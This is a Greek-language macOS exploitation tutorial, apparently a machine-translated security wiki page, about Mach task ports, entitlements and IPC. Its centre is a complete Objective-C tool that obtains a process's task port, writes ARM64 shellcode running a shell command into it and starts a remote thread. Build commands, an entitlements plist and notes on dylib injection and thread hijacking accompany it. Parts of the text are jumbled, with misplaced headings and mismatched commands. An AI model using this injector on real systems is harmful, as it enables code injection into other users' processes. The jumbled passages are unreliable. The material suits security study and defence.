Θυμηθείτε ότι επειδή το πυρήνας είναι επίσης μια εργασία, αν κάποιος καταφέρει να λάβει δικαιώματα SEND πάνω στο kernel_task, θα μπορεί να κάνει τον πυρήνα να εκτελέσει οτιδήποτε (jailbreaks).

  • Καλέστε το mach_task_self() για να λάβετε το όνομα γι' αυτή τη θύρα για την κλήση εργασίας. Αυτή η θύρα κληρονομείται μόνο κατά την exec()· μια νέα εργασία που δημιουργείται με το fork() λαμβάνει μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία λαμβάνει επίσης μια νέα θύρα εργασίας μετά το exec() σε ένα suid δυαδικό). Ο μόνος τρόπος να δημιουργηθεί μια εργασία και να ληφθεί η θύρα της είναι να εκτελεστεί ο "χορός ανταλλαγής θυρών" κατά το fork().

  • Αυτές είναι οι περιορισμοί για την πρόσβαση στη θύρα (από το macos_task_policy από το δυαδικό AppleMobileFileIntegrity):

  • Αν η εφαρμογή έχει το δικαίωμα com.apple.security.get-task-allow, διεργασίες από τον ίδιο χρήστη μπορούν να έχουν πρόσβαση στη θύρα εργασίας (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία επικύρωσης δεν το επιτρέπει σε παραγωγικές εκδόσεις.

  • Οι εφαρμογές με το δικαίωμα com.apple.system-task-ports μπορούν να λάβουν τη θύρα εργασίας για οποιαδήποτε διεργασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν task_for_pid-allow. Αυτό χορηγείται μόνο σε εφαρμογές της Apple.

  • Ο ριζικός χρήστης μπορεί να έχει πρόσβαση στις θύρες εργασίας εφαρμογών που δεν έχουν μεταγλωττιστεί με ένα σκληρυνμένο χρόνο εκτέλεσης (και όχι από την Apple).

Η θύρα ονόματος εργασίας: Μια μη προνομιούχα έκδοση της θύρας εργασίας. Αναφέρεται στην εργασία, αλλά δεν επιτρέπει τον έλεγχό της. Το μόνο που φαίνεται να είναι διαθέσιμο μέσω αυτής είναι το task_info().

Εισαγωγή Shellcode σε νήμα μέσω της θύρας εργασίας

Μπορείτε να αντλήσετε ένα shellcode από:

pageIntroduction to ARM64v8
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

macOS Δικαιώματα

Τα δικαιώματα είναι μια λίστα με προνομιακές ενέργειες που μπορεί να εκτελέσει μια εφαρμογή. Τα δικαιώματα ορίζονται στο αρχείο entitlements.plist που συνοδεύει μια εφαρμογή macOS. Με τη σωστή ρύθμιση των δικαιωμάτων, μπορεί να περιοριστεί η πρόσβαση μιας εφαρμογής σε ευαίσθητα μέρη του συστήματος.

Είναι σημαντικό να γίνει σωστή διαχείριση των δικαιωμάτων προκειμένου να διασφαλιστεί η ασφάλεια του συστήματος και να αποτραπεί η κατάχρησή τους από κακόβουλο λογισμικό.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

Συντάξτε το προηγούμενο πρόγραμμα και προσθέστε τα δικαιώματα για να μπορείτε να εισάγετε κώδικα με τον ίδιο χρήστη (αν όχι, θα χρειαστεί να χρησιμοποιήσετε sudo).

sc_injector.m

```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }

inject(pid); }

return 0; }

</details>  

### Επικίνδυνη Χρήση Διεργασιών macOS

Αυτό το κεφάλαιο εξετάζει την εκμετάλλευση της επικοινωνίας μεταξύ διεργασιών (IPC) στο macOS για την απόκτηση προνομίων.
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

Για να λειτουργήσει αυτό στο iOS, χρειάζεστε το entitlement dynamic-codesigning προκειμένου να μπορείτε να κάνετε μια εγγράψιμη μνήμη εκτελέσιμη.

Εισαγωγή Dylib σε νήμα μέσω της θύρας Task

Στο macOS τα νήματα μπορούν να χειριστούν μέσω του Mach ή χρησιμοποιώντας το posix pthread api. Το νήμα που δημιουργήθηκε στην προηγούμενη εισαγωγή, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε δεν είναι συμμορφωμένο με το posix.

Ήταν δυνατό να εισαχθεί ένα απλό shellcode για να εκτελέσει μια εντολή επειδή δεν χρειαζόταν να λειτουργήσει με posix συμμορφωμένα apis, μόνο με το Mach. Πιο πολύπλοκες εισαγωγές θα χρειαζόντουσαν το νήμα να είναι επίσης συμμορφωμένο με το posix.

Συνεπώς, για να βελτιώσετε το νήμα θα πρέπει να καλέσει το pthread_create_from_mach_thread το οποίο θα δημιουργήσει ένα έγκυρο pthread. Στη συνέχεια, αυτό το νέο pthread θα μπορούσε να καλέσει το dlopen για να φορτώσει ένα dylib από το σύστημα, έτσι αντί να γράφετε νέο shellcode για να εκτελέσει διαφορετικές ενέργειες είναι δυνατό να φορτώσετε προσαρμοσμένες βιβλιοθήκες.

Μπορείτε να βρείτε παραδειγματικές dylibs σε (για παράδειγμα αυτή που δημιουργεί ένα αρχείο καταγραφής και μετά μπορείτε να το ακούσετε):

```bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject ``` ### Απαγωγή Νήματος μέσω Θύρας Task

Σε αυτήν την τεχνική γίνεται απαγωγή ενός νήματος της διεργασίας:

XPC

Βασικές Πληροφορίες

Το XPC, που σημαίνει XNU (το πυρήνας που χρησιμοποιείται από το macOS) Διαδικασία Επικοινωνίας, είναι ένα πλαίσιο για επικοινωνία μεταξύ διεργασιών στο macOS και στο iOS. Το XPC παρέχει ένα μηχανισμό για την πραγματοποίηση ασύγχρονων κλήσεων μεθόδων με ασφάλεια μεταξύ διαφορετικών διεργασιών στο σύστημα. Αποτελεί μέρος του παραδείγματος ασφαλείας της Apple, επιτρέποντας την δημιουργία εφαρμογών με διαχωρισμό προνομίων όπου κάθε συστατικό λειτουργεί με μόνο τα δικαιώματα που χρειάζεται για την εκτέλεση της εργασίας του, περιορίζοντας έτσι την πιθανή ζημιά από μια διεργασία που έχει διαρρεύσει.

Για περισσότερες πληροφορίες σχετικά με το πώς αυτή η επικοινωνία λειτουργεί και πώς μπορεί να είναι ευάλωτη ελέγξτε:

MIG - Μετατροπέας Διεπαφής Mach

Ο MIG δημιουργήθηκε για να απλοποιήσει τη διαδικασία δημιουργίας κώδικα Mach IPC. Αυτό συμβαίνει επειδή πολλή από τη δουλειά για τον προγραμματισμό RPC περιλαμβάνει τις ίδιες ενέργειες (συσκευασία ορισμάτων, αποστολή του μηνύματος, αποσυσκευασία των δεδομένων στον εξυπηρετητή...).

Ο MIG βασικά δημιουργεί τον απαιτούμενο κώδικα για τον εξυπηρετητή και τον πελάτη ώστε να επικοινωνούν με μια δεδομένη ορισμένη (στη γλώσσα IDL -Γλώσσα Ορισμού Διεπαφής-). Ακόμη κι αν ο δημιουργημένος κώδικας είναι ασχημός, ένας προγραμματιστής θα χρειαστεί απλώς να τον εισάγει και ο κώδικάς του θα είναι πολύ απλούστερος από πριν.

Για περισσότερες πληροφορίες ελέγξτε:

Αναφορές

Last updated